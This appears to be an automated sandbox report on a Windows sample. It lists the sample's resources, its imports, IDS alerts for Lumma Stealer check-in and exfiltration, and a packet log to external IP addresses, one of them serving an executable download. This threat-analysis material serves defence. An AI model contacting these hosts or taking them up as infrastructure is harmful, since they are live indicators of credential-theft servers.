JASUZAHAVOWECAYEDEVIDAVETUNAGU	0x1e8b4d0	0x61e	ASCII text, with very long lines (1566), with no line terminators	0.6136653895274585
RT_CURSOR	0x1e8bb08	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.7598684210526315
RT_CURSOR	0x1e8bc50	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.4276315789473684
RT_CURSOR	0x1e8bd80	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0	0.44583333333333336
RT_CURSOR	0x1e8be70	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.0877110694183865
RT_CURSOR	0x1e8cf48	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.4473684210526316
RT_CURSOR	0x1e8d078	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0	0.4625
RT_CURSOR	0x1e8d168	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.08583489681050657
RT_CURSOR	0x1e8e240	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.3407039711191336
RT_ICON	0x1e84650	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.26649377593360996
RT_ICON	0x1e86bf8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.31475409836065577
RT_ICON	0x1e875a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.6538808664259927
RT_ICON	0x1e87e50	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.47883817427385894
RT_ICON	0x1e8a3f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.5056285178236398
RT_STRING	0x1e8ed18	0x2ba	Matlab v4 mat-file (little endian) K, numeric, rows 0, columns 0	0.4813753581661891
RT_STRING	0x1e8efd8	0x332	data	0.4743276283618582
RT_STRING	0x1e8f310	0x240	data	0.4861111111111111
RT_GROUP_CURSOR	0x1e8bc38	0x14	data	1.15
RT_GROUP_CURSOR	0x1e8eae8	0x14	data	1.25
RT_GROUP_CURSOR	0x1e8cf18	0x30	data	1.0
RT_GROUP_CURSOR	0x1e8e210	0x30	data	1.0
RT_GROUP_ICON	0x1e8b4a0	0x30	data	0.9375
RT_GROUP_ICON	0x1e87580	0x22	data	0.9705882352941176
RT_VERSION	0x1e8eb00	0x214	data	0.543233082706767

Imports

DLL	Import
KERNEL32.dll	GetConsoleAliasExesA, FindResourceW, ReadConsoleA, GetNamedPipeHandleStateA, GetModuleHandleExW, WriteConsoleInputA, GetComputerNameW, FreeEnvironmentStringsA, GetConsoleAliasesLengthA, WaitNamedPipeW, EnumTimeFormatsA, EnumTimeFormatsW, GetCommandLineA, GetDriveTypeA, GetEnvironmentStrings, FindResourceExA, GetConsoleCP, LoadLibraryW, GetLocaleInfoW, SwitchToFiber, GetCalendarInfoW, DeleteVolumeMountPointW, InterlockedPopEntrySList, GetFileAttributesA, HeapQueryInformation, SetSystemPowerState, GetAtomNameW, GetCompressedFileSizeA, MultiByteToWideChar, GetStartupInfoW, DisconnectNamedPipe, FlushFileBuffers, GetShortPathNameA, GetConsoleAliasesW, WriteConsoleInputW, GetLastError, IsDBCSLeadByteEx, GetCurrentDirectoryW, SetLastError, PeekConsoleInputW, RemoveDirectoryA, EnumSystemCodePagesW, SetComputerNameA, GetTempFileNameA, LoadLibraryA, InterlockedExchangeAdd, LocalAlloc, MoveFileA, CreateHardLinkW, AddAtomW, OpenJobObjectW, FindAtomA, GetTapeParameters, EnumDateFormatsA, GetModuleHandleA, FindNextFileW, GetStringTypeW, VirtualProtect, PurgeComm, QueryPerformanceFrequency, GetShortPathNameW, SetCalendarInfoA, FindFirstVolumeA, GetWindowsDirectoryW, GetVolumeNameForVolumeMountPointW, GetCurrentProcessId, AddConsoleAliasA, ReadConsoleOutputCharacterW, SetDefaultCommConfigA, InterlockedExchange, GetCommandLineW, WideCharToMultiByte, GetProcAddress, GetModuleHandleW, ExitProcess, DecodePointer, DeleteFileA, HeapReAlloc, HeapSetInformation, RaiseException, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetCurrentThreadId, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, HeapAlloc, HeapFree, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, SetFilePointer, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, WriteFile, GetModuleFileNameW, HeapCreate, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, LCMapStringW, Sleep, SetStdHandle, GetConsoleMode, RtlUnwind, HeapSize, WriteConsoleW, ReadFile, CloseHandle, CreateFileW
USER32.dll	CharUpperBuffA, CharUpperA
GDI32.dll	GetCharWidthA, GetKerningPairsA

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3104.21.1.1849855802048093 10/03/23-09:55:18.464087	TCP	2048093	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In	49855	80	192.168.2.3	104.21.1.18
192.168.2.3172.67.137.12549842802048094 10/03/23-09:55:14.607034	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	49842	80	192.168.2.3	172.67.137.125
192.168.2.3172.67.151.21949864802048094 10/03/23-09:55:20.960656	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	49864	80	192.168.2.3	172.67.151.219
192.168.2.3104.21.1.1849859802048094 10/03/23-09:55:19.654804	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	49859	80	192.168.2.3	104.21.1.18
192.168.2.3104.21.81.1749834802048094 10/03/23-09:55:12.695709	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	49834	80	192.168.2.3	104.21.81.17
91.227.16.22192.168.2.380498162018572 10/03/23-09:55:07.486428	TCP	2018572	ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families)	80	49816	91.227.16.22	192.168.2.3
192.168.2.3104.21.1.1849921802048094 10/03/23-09:55:50.248359	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	49921	80	192.168.2.3	104.21.1.18
192.168.2.3104.21.81.1749829802048093 10/03/23-09:55:12.132298	TCP	2048093	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In	49829	80	192.168.2.3	104.21.81.17

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2023 09:54:19.817512989 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:20.108292103 CEST	80	49803	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:20.108412981 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:20.108772993 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:20.108772993 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:20.410119057 CEST	80	49803	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:21.226350069 CEST	80	49803	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:21.226381063 CEST	80	49803	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:21.226641893 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:21.226641893 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:21.618383884 CEST	49804	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:21.781148911 CEST	80	49804	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:21.781347036 CEST	49804	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:21.781431913 CEST	49804	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:21.781454086 CEST	49804	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:21.944374084 CEST	80	49804	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:22.016354084 CEST	49803	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:22.307092905 CEST	80	49803	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:22.573386908 CEST	80	49804	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:22.573602915 CEST	80	49804	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:22.573657036 CEST	49804	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:22.573798895 CEST	49804	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:22.696398020 CEST	49805	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:22.736190081 CEST	80	49804	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:22.861579895 CEST	80	49805	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:22.861665964 CEST	49805	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:22.861876965 CEST	49805	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:22.861905098 CEST	49805	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:23.027551889 CEST	80	49805	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:23.650286913 CEST	80	49805	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:23.650352955 CEST	80	49805	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:23.650414944 CEST	49805	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:23.650494099 CEST	49805	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:23.815649033 CEST	80	49805	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:23.908407927 CEST	49806	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:24.212234974 CEST	80	49806	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:24.212445974 CEST	49806	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:24.212740898 CEST	49806	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:24.212742090 CEST	49806	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:24.526566029 CEST	80	49806	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:25.387819052 CEST	80	49806	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:25.387876987 CEST	80	49806	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:25.387994051 CEST	49806	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:25.387994051 CEST	49806	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:25.508362055 CEST	49807	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:25.673592091 CEST	80	49807	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:25.673935890 CEST	49807	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:25.673935890 CEST	49807	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:25.673935890 CEST	49807	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:25.695534945 CEST	80	49806	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:25.839458942 CEST	80	49807	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:26.459897041 CEST	80	49807	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:26.460047960 CEST	49807	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:26.460294962 CEST	80	49807	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:26.460369110 CEST	49807	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:54:26.625046968 CEST	80	49807	200.92.136.254	192.168.2.3
Oct 3, 2023 09:54:26.635572910 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:26.940115929 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:26.940479994 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:27.051235914 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:27.051235914 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:27.366656065 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:27.719454050 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:28.015714884 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:28.566061020 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:28.566180944 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:28.566519022 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:28.566519022 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:28.978471994 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.134980917 CEST	80	49809	186.147.159.19	192.168.2.3
Oct 3, 2023 09:54:29.135221958 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.135386944 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.135423899 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.294688940 CEST	80	49809	186.147.159.19	192.168.2.3
Oct 3, 2023 09:54:29.498617887 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:29.498837948 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:29.532005072 CEST	49808	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:54:29.709949970 CEST	80	49809	186.147.159.19	192.168.2.3
Oct 3, 2023 09:54:29.710017920 CEST	80	49809	186.147.159.19	192.168.2.3
Oct 3, 2023 09:54:29.710086107 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.710087061 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.710272074 CEST	49809	80	192.168.2.3	186.147.159.19
Oct 3, 2023 09:54:29.825339079 CEST	80	49808	211.181.24.133	192.168.2.3
Oct 3, 2023 09:54:29.869765997 CEST	80	49809	186.147.159.19	192.168.2.3
Oct 3, 2023 09:54:30.048127890 CEST	49810	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:54:30.331080914 CEST	80	49810	186.182.55.44	192.168.2.3
Oct 3, 2023 09:54:30.331280947 CEST	49810	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:54:30.331373930 CEST	49810	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:54:30.331373930 CEST	49810	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:54:30.614485025 CEST	80	49810	186.182.55.44	192.168.2.3
Oct 3, 2023 09:54:31.266067982 CEST	80	49810	186.182.55.44	192.168.2.3
Oct 3, 2023 09:54:31.266355991 CEST	49810	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:54:31.266525030 CEST	80	49810	186.182.55.44	192.168.2.3
Oct 3, 2023 09:54:31.266592979 CEST	49810	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:54:31.551846981 CEST	80	49810	186.182.55.44	192.168.2.3
Oct 3, 2023 09:54:31.731384039 CEST	49811	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:54:34.751080990 CEST	49811	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:54:40.766458035 CEST	49811	80	192.168.2.3	180.94.156.61
Oct 3, 2023 09:55:02.560108900 CEST	49813	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:02.844294071 CEST	80	49813	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:02.844391108 CEST	49813	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:02.844602108 CEST	49813	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:02.844633102 CEST	49813	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:03.128428936 CEST	80	49813	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:03.776099920 CEST	80	49813	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:03.776159048 CEST	80	49813	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:03.776359081 CEST	49813	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:04.047391891 CEST	49813	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:04.167603970 CEST	49814	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:55:04.331386089 CEST	80	49813	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:04.333190918 CEST	80	49814	200.92.136.254	192.168.2.3
Oct 3, 2023 09:55:04.333314896 CEST	49814	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:55:04.333462954 CEST	49814	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:55:04.333498955 CEST	49814	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:55:04.499310017 CEST	80	49814	200.92.136.254	192.168.2.3
Oct 3, 2023 09:55:05.114358902 CEST	80	49814	200.92.136.254	192.168.2.3
Oct 3, 2023 09:55:05.114386082 CEST	80	49814	200.92.136.254	192.168.2.3
Oct 3, 2023 09:55:05.114576101 CEST	49814	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:55:05.114675045 CEST	49814	80	192.168.2.3	200.92.136.254
Oct 3, 2023 09:55:05.229173899 CEST	49815	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:05.280692101 CEST	80	49814	200.92.136.254	192.168.2.3
Oct 3, 2023 09:55:05.547076941 CEST	80	49815	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:05.547415018 CEST	49815	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:05.547636986 CEST	49815	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:05.547779083 CEST	49815	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:05.847572088 CEST	80	49815	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:06.685908079 CEST	80	49815	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:06.685956001 CEST	80	49815	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:06.686069012 CEST	49815	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:06.686069012 CEST	49815	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:06.983297110 CEST	80	49815	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:07.039879084 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.261734962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.262026072 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.262130976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.483879089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486428022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486490965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486542940 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.486551046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486633062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486666918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486685991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.486728907 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486761093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.486815929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486898899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.486932993 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.486973047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.487020016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.487051964 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.708275080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708331108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708343983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708353043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708369017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708404064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708467960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.708506107 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.708513021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708605051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708635092 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.708647013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708709955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708740950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.708762884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708853006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.708884001 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.708936930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709023952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709052086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709054947 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.709112883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709146976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.709228039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709297895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709327936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.709381104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709410906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.709441900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.930427074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930458069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930473089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930495024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930519104 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.930546045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.930553913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930706024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930735111 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.930788040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930891037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.930917025 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.930954933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931046963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931072950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931107044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931211948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931238890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931343079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931405067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931432009 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931448936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931500912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931525946 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931565046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931616068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931641102 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931643963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931705952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931731939 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931768894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931804895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.931829929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.931993008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932046890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932070971 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932107925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932159901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932188988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932224035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932257891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932282925 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932311058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932359934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932384014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932444096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932595015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932621002 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932672024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932733059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932761908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932779074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932902098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.932928085 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.932975054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.933051109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.933077097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:07.933171034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.933237076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:07.933264017 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152403116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152419090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152431965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152453899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152499914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152573109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152595997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152595997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152607918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152631044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152667046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152702093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152740002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152776003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152806997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152841091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152909040 CEST	80	49816	91.227.16.22	192.168.2.3
